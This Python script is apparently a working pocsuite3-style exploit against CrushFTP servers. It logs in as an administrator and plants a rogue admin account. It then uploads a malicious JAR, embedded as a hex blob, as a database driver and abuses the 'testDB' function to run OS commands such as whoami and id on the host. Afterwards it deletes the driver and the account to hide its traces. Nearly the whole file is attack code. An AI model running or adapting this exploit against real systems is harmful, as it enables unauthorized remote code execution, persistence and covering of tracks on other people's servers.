import binascii
import os
import re
import requests
import xml.etree.ElementTree as et
from pocsuite3.lib.core.data import logger
from pocsuite3.lib.utils import random_str
class CrushFTP:
def __init__(self, url):
self.url = url
self.function_url = url + '/WebInterface/function/'
self.session = requests.Session()
self.session.verify = False
self.session.proxies.update({
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
})
self.c2f = ''
self.db_driver_dir = '' # 保存目录
self.db_driver_name = 'Driver'
self.db_driver_file = ''
self.evil_driver = '504b03041400080808009479835a000000000000000000000000090004004d4554412d494e462ffeca00000300504b0708000000000200000000000000504b03041400080808009479835a000000000000000000000000140000004d4554412d494e462f4d414e49464553542e4d46f34dcccb4c4b2d2ed10d4b2d2acecccfb35230d433e0e5722e4a4d2c494dd175aa040958e819c41b1b1a2a68f8172526e7a42a38e71715e417259600d56bf272f1720100504b0708e9c659924400000045000000504b03041400080808008579835a0000000000000000000000000c0000004472697665722e636c6173738d57097c1c5519ffbfec6e663299dda4dba6edb694062825e9918094009b10da841e814d689b524823ca6477d24cd8ec2cb3bb6d231e78e181e2095254bcad47d502ba094428281445c55b4145f13ef042f106eaffcdcc269b64397e49debcf7bdef7adff7ffbef7f2e03377de0d608358a061056ed410c27b34dc84831a6ec67b15bc4f52deafe2160d1fc007e5e2431a36e1c32a3e22171f958b8f29f8b882431aea70a38a4fc8ef27557c4a7e3fad2182c32a3ea32186cfaa1855f0390539b93aa2624cc1ad1a6ec3ed2a3eafe10b9efea28a0915932aee5071a78a29055f5470978626dca8e06e0547359c867b34acc5bd1ad6e04b72f8722deec3fd72764cc1031a5e84afa8f8aad4f6a0e4fe9a82afabf88674e8210d67e3b0826faaf896826f2bf88e8aef6ae894b4efc9c33004dfc70f6ae8cd0fa5ef0f6b78043f52f06381ea0e2b63e53b05024dcdbb0582dd76ca14a84b5819b3af3036643abb8ca13429d1849d34d2bb0dc7926b9f18cc8f58390135718163ed339d7601ddcc24a9a1cbc8996d1b04563725468d7d466bdac8ec6dedcf3b56666f7bf37c9240c8ca640b7969a6c2a6e66e768de74d1aab1aec9a3693f2694ad2ce64cc24e5cfaf60d0a314f256ba75bb63674d276f99b9921bb9abd2addd9eb46567682c5070d23c999519b605165796752d8e8d1999149d330f98c99d66ae90a6f9707fde485ed96b64dd001168dcdf7c206966a5723aaa1949b9c85db23321d05029387b04225263216f76974c04d3cc0653e59846ca7404967a7296ddda55181e361d33b5d3dda15f35c9b491cbf5196392dfe8960b810565765c928ce998991fb1531e67505a145856c6e798c369c6a4b5d7659327b687463d6e6daf99df59c8e4ad317376c22e1e1aa588e4b5720450e18080e07942766ed7789630f163468f160e56cab39275eca4293d5e58b6bddd234a90c83870b7be2c2b092b272d56db85bc0b20d53c60e53d108b1efef1db50a66c3a19ed32b9b3203d9e2dc17ad1dc7875ace924ffaa39663be69fa1b3dd6d053f610b702bfc51b7b81f6065b2a618361f43e33d2ebab6bd70b00ecea0d5abb5724ded9ef25e63d476769b4e8ec773ebb9c7a75b99327a7834359424b4b269cbc8e45dbe3dbe73866366f2097bef5e09b2139a9acb7c49934af75abd5d1a543b9269bf732c99f1ad7f476226c26ca0044bbf5d7092e6164b06b6d6f3bd45f2ebd8861e1d3fc5cf143ca6e3e7f895825febf80d7ecb04cf0d8b64fe1d715ac8998e82dfebf803b6eb781cd7eb18c276a67fc86d383afe883fe9b858921a2a3a456fe7eaee2a5869b7acd40ec72de34e1d7fc65f584b1dadd384bfe209e9c3df584c52be45cab7f845a0e3ef7892219c031a1dffc03f679dc5ab0fc243c7bff06f5952b9960c4b4ac17f74fc174f3019fb2dba58951be1b03e29dbcc58aa85c5c9656bd2b73dab2a582a3349dae438c6b84426b15db94308c44a1b3db2a73202a631e6ede9f81f9e92877c5a0ecfe8388e2788609d45247451859e922dd7feae11c7de2fcb45170111248fa68b90a8d68582ebd8496618fd209565a0d96f6c8d5e9f23ad71d8203e528dfbadfc48a32ce046d9dde38d4c845067992d530381e5cf5114024de508d8621af98263f6d9f9fe42366b3b793355a62b96f0f0dd68e51a3376be3157e26921b63cdd8aa8d185266a750623ac8b088323ea74512f315137c70fb6e867eba46cefb3bb0871c7daf32fb26053b3bcdeea67584a37a96cba9bdd4b8fda95e999dec3abcb71f126e56717ad27bbca676e2f7955618fa7f46e544e9a06bb5c274272c227c1a24a1d89b55cd6cedc8ebf792c2b67ecf299bc61c9db6e79797feb1e319c7ef3aa02ed98ee35576d64b3a6bcded6bfa047825fa6b2f5e46d8f44df9a2abe262adeac3c8a326c3bde1d76eaf3d82c5d9335b27ffa89db584166709e4cf3735da2d556669f7d25ed9fdb34ffde1c9c4f6aae74bb9677c7f15cde1c6332f276c2de4f2030ab44189d2e2b6ff6bc529866d7bd444453c50d19ac85335bfef3425255f90849b8ef9180914acd8975c96d79eb27d3b674264c2e59726ca539333563717617717507476dd9fe363e2b6ccae83d79d3f1042bbe24f61b567e8bed5e633dcf85a5c5732ab7d7c818eef51771ccbdac4ed32955f4a2a6b957b0eb73c096af8e86e9506da7fe99f06a2e7c7239ea2cb5b1d93ceea387ab740627f19dbe824d6d2bff73a9e597d723c70bb96ae597fd0ea1351310b77252858b3856bbc45a2438ea1e037ad1c76f8dbc027de11723c01f60f19a22aa129308ac2d22d83b85d0c0ba09541f99d61671b91aa86331c258e26a6df424b1033b5ded0bd08f5dd41ba6854b38abe27c372ee5575aba1f41f2005bd7459522d4bef545d41c44481c593f092d1e5c1bad2d423f082d169c44381e9c4264600a750313a88f2e28221a0b72882ee450c4a209341ca5aa80ebda8950fc7125dd6c443d4ea653a770b50aabf9235ddde099f603206797d169e1ce06b0872e2ad88841d202943d8361d949772f770f5ef514ea15bce4293470c44b490b5232c2bf2b60f8876be3aa4a062b78784e02d6baf6177bbbd3f6ab7cfb33da6ae453c54b4aa048d905bcc12e8f2e4eac9dc492dee8d2be75eb8377213610882eeb2f62793c183d211e5a170b0548e45af0bba28813e3d5c13625ba72128d7135a61ec3c2985ac449d193ddd05607da9406e5209656dfc5fc06a2a7f40f04a3abfa07426bfa0fa1c1279e2a89ab5d62bc26168c55d3ec8a8140ac86664fbc07a7c5b52934312bcdf1da29ac618ad60ec4b4228896f5136889eb221e8ee945b40ec423c7501fab8d45eec0e955b8f4d0f1c763fa315c120b1fc312c971c6216c8b4762e158a488330fa1c3a76d202d421d91a3f13a297052b9c0a2783d05ea5d01d5a5c5ea8e4637c46a2771565c977eb4b5851bc207b1720a674fc3e71c82a6215cc4b92e72e24763fa9144b4e30883fc301ec563fccfb98887f0a4ff7d9a81af1111b180eb27f9ca795ae64b5c2606d0ce54c9c48e6219c7d3099533a092ab1667623921b6126771d6c69fb3711ece61959dcb24b7e31a74e006526ee1bfdc45c2ec5e96f243e8a6f64e6aef16a7e202d182cde22c6c11716c15bbf9981ac085620fad49f01c2618ee26ac93d416c1ed709082c99a0e9073d885912a76602f4608ab5ad107cb85f172d1494fafa4cf2ba9354d5a08678ad5184386276f13a7c04696b03f4f9c80abb8abd2cf47a83b4728de80fb9047011a7d9ec23eeca7de1642f900f974fab90ae37819c2f43080abf172097471b95b3ec02b7cb87b3ebd92334fc7ab182759508fa0ee38196b584ceeef35eef86a777c8d902586d80e05cb8e338a916765228382d72a789d82d72bb8165842996b6bb772d8c6bfe358e816ed0b13967f428a078fd35dfdf9e5c0bc9d4e8290fcaecf1cdec030bc116ff23b423757b23dca0a3defc89ca6b0a3ac7f86a69b4268ba2985fca654de6cde8cebfc9ebdce6ff8f39bcdeeb26e5f6a36026f992f19982b395851f2adb8fe7925afa828f936bcdd0fc4069e52eeb16f740e44cf9fc0c6a3733498651a345f43e9e49dc4e53ba6afba11f74e2140a6b089a5dd3589ee43885c741b2ee0f5b5b9882db7fa4ac2ee8575910bc590dbc535165118759cd56329a2d326e5ced5782757129c0aaa7a15bc4ba39d77bb5ede805fba0a056ec64df8056afe0f504b07080b2c8213620a00003d140000504b010214001400080808009479835a0000000002000000000000000900040000000000000000000000000000004d4554412d494e462ffeca0000504b010214001400080808009479835ae9c65992440000004500000014000000000000000000000000003d0000004d4554412d494e462f4d414e49464553542e4d46504b010214001400080808008579835a0b2c8213620a00003d1400000c00000000000000000000000000c30000004472697665722e636c617373504b05060000000003000300b70000005f0b00000000'
def login(self, username, password) -> ():
try:
headers = {
"Accept": "*/*",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Origin": self.url,
"Referer": f"{self.url}/WebInterface/login.html",
"Accept-Encoding": "gzip, deflate, br",
}
data = {
"command": "login",
"username": username,
"password": password,
"encoded": "true",
"language": "en"
}
res = self.session.post(self.function_url, headers=headers, data=data)
if 'success' not in res.text or '<c2f>' not in res.text:
return None, ''
logger.info(f'{self.url} login success')
root = et.fromstring(res.content)
self.c2f = root.find('c2f').text
logger.info(f'{self.url} get c2f success: {self.c2f} ')
return True
except Exception as e:
pass
logger.info(f'{self.url} login failed')
return False
def add_user(self, username, password) -> bool:
"""
添加管理用户
:param username:
:param password:
:return:
"""
try:
self.get_db_driver_dir()
if '/tmp' in self.db_driver_dir:
name = 'tmp'
else:
name = 'Public'
data = {
"command": "setUserItem",
"data_action": "new",
"serverGroup": "MainUsers",
"username": username,
"user": f"<?xml version=\"1.0\" encoding=\"UTF-8\"?> <user type=\"properties\">\r\n<user_name>{username}</user_name>\r\n<password>{password}</password>\r\n<extra_vfs type=\"vector\">\r\n</extra_vfs>\r\n<version>1.0</version>\r\n<root_dir>/</root_dir>\r\n<userVersion>6</userVersion>\r\n<max_logins>0</max_logins>\r\n<filePublicEncryptionKey></filePublicEncryptionKey>\r\n<fileDecryptionKey></fileDecryptionKey>\r\n\r\n<site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)\r\n</site>\r\n<created_by_username>crushadmin</created_by_username>\r\n<created_by_email></created_by_email>\r\n<created_time>1743663409774</created_time>\r\n<password_history></password_history></user>",
"xmlItem": "user",
"vfs_items": f"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<vfs_items type=\"vector\">\r\n<vfs_items_subitem type=\"properties\">\r\n<name>{name}</name>\r\n<path>/</path>\r\n<vfs_item type=\"vector\">\r\n<vfs_item_subitem type=\"properties\">\r\n<type>DIR</type>\r\n<url>FILE://{self.db_driver_dir.lstrip('/').rstrip('/')}/</url>\r\n</vfs_item_subitem>\r\n</vfs_item>\r\n</vfs_items_subitem>\r\n</vfs_items>",
"permissions": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<VFS type=\"properties\">\r\n<item name=\"/\">(read)(write)(view)(delete)(resume)</item>\r\n</VFS>",
"c2f": self.c2f
}
res = self.session.post(self.function_url, data=data)
if 'OK' in res.text:
logger.info(f'{self.url} add user success, user:{username} pass:{password}')
return True
except Exception as e:
pass
logger.info(f'{self.url} add user failed ')
return False
def delete_user(self, username):
try:
data = {
"command": "setUserItem",
"data_action": "delete",
"serverGroup": "MainUsers",
"usernames": username,
"user": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>",
"xmlItem": "user",
"vfs_items": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><vfs type=\"vector\"></vfs>",
"permissions": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><permissions type=\"vector\"></permissions>",
"c2f": self.c2f
}
res = self.session.post(self.function_url, data=data)
if 'OK' in res.text:
logger.info(f'{self.url} delete user success, user:{username}')
return True
except Exception as e:
pass
logger.info(f'{self.url} delete user failed ')
return False
def upload_evil_driver(self):
try:
rand = binascii.hexlify(os.urandom(5)).decode("utf-8")
file_name = random_str(5) + '.jar'
full_path = os.path.join(self.db_driver_dir, file_name)
full_path = full_path.replace('\\', '/')
if 'C:' in full_path and not full_path.startswith('/'):
full_path = f'/{full_path}'
content = bytes.fromhex(self.evil_driver)
length = len(content)
data = {
"command": (None, "openFile"),
"upload_path": (None, '/' + file_name),
"upload_size": (None, length),
"upload_id": (None, rand),
"start_resume_loc": (None, "0"),
"c2f": (None, self.c2f)
}
res = self.session.post(self.function_url, files=data)
root = et.fromstring(res.content)
up_id = root.find('response').text
url = self.url + '/U/{}~1~{}'.format(up_id, length)
files = {
"CFCD": (
file_name,
content,
"application/octet-stream")
}
res = self.session.post(url, files=files)
if res.status_code == 200:
logger.info(f'{self.url} {full_path} upload success')
self.db_driver_file = full_path
return True
except Exception as e:
pass
return False
def delete_evil_driver(self):
try:
data = f'command=delete&names={self.db_driver_file}&c2f={self.c2f}'
res = self.session.post(self.function_url, data=data)
if '<response>' in res.text:
logger.info(f'{self.url} delete evile driver file {self.db_driver_file} success')
return True
except Exception as e:
pass
logger.info(f'{self.url} delete evile driver file {self.db_driver_file} failed')
return False
def get_db_driver_dir(self):
try:
data = f'command=getAdminXMLListing&file_mode=user&path=/&serverGroup=MainUsers&c2f={self.c2f}'
res = self.session.post(self.function_url, data=data)
if '<href_path>' not in res.text:
logger.info(f'{self.url} get db driver dir failed')
return ''
if '/C:' in res.text:
logger.info(f'{self.url} is windows system')
self.db_driver_dir = '/C:/Users/Public'
if '/tmp' in res.text:
logger.info(f'{self.url} is linux system')
self.db_driver_dir = '/tmp'
if self.db_driver_dir:
logger.info(f'{self.url} get db driver dir success: {self.db_driver_dir}')
else:
logger.info(f'{self.url} get db driver dir failed')
except Exception as e:
pass
return ''
def exec_command(self, command):
try:
data = {
"command": "testDB",
"db_driver_file": self.db_driver_file,
"db_driver": self.db_driver_name,
"db_url": "jdbc:mysql://127.0.0.1:3306/crushftp?autoReconnect=true",
"db_user": command,
"db_pass": "",
"c2f": self.c2f,
}
res = self.session.post(self.function_url, data=data)
if 'java.sql.SQLException' not in res.text:
return ''
from urllib.parse import quote, unquote
resp = unquote(res.text)
match = re.findall(pattern=r'<result>(.*)</result>', string=resp, flags=re.DOTALL)
if not match:
return ''
result = match[0]
logger.info(f'{self.url} exec: {command} result: {result}')
except Exception as e:
pass
return ''
if __name__ == '__main__':
url = ''
username = 'crushadmin'
password = 'Le!JSb7X^[{G52y&'
evil_username = random_str(5)
evil_password = random_str(10)
# 添加恶意管理员用户
admin_crush = CrushFTP(url)
admin_crush.login(username, password)
admin_crush.add_user(evil_username, evil_password)
# 通过恶意管理用户上传 SQLDriver 恶意驱动
evil_crush = CrushFTP(url)
evil_crush.login(evil_username, evil_password)
evil_crush.get_db_driver_dir()
evil_crush.upload_evil_driver()
# 执行命令
evil_crush.exec_command("whoami")
evil_crush.exec_command("id")
# 删除恶意驱动
evil_crush.delete_evil_driver()
# 删除恶意管理员用户
admin_crush.delete_user(evil_username)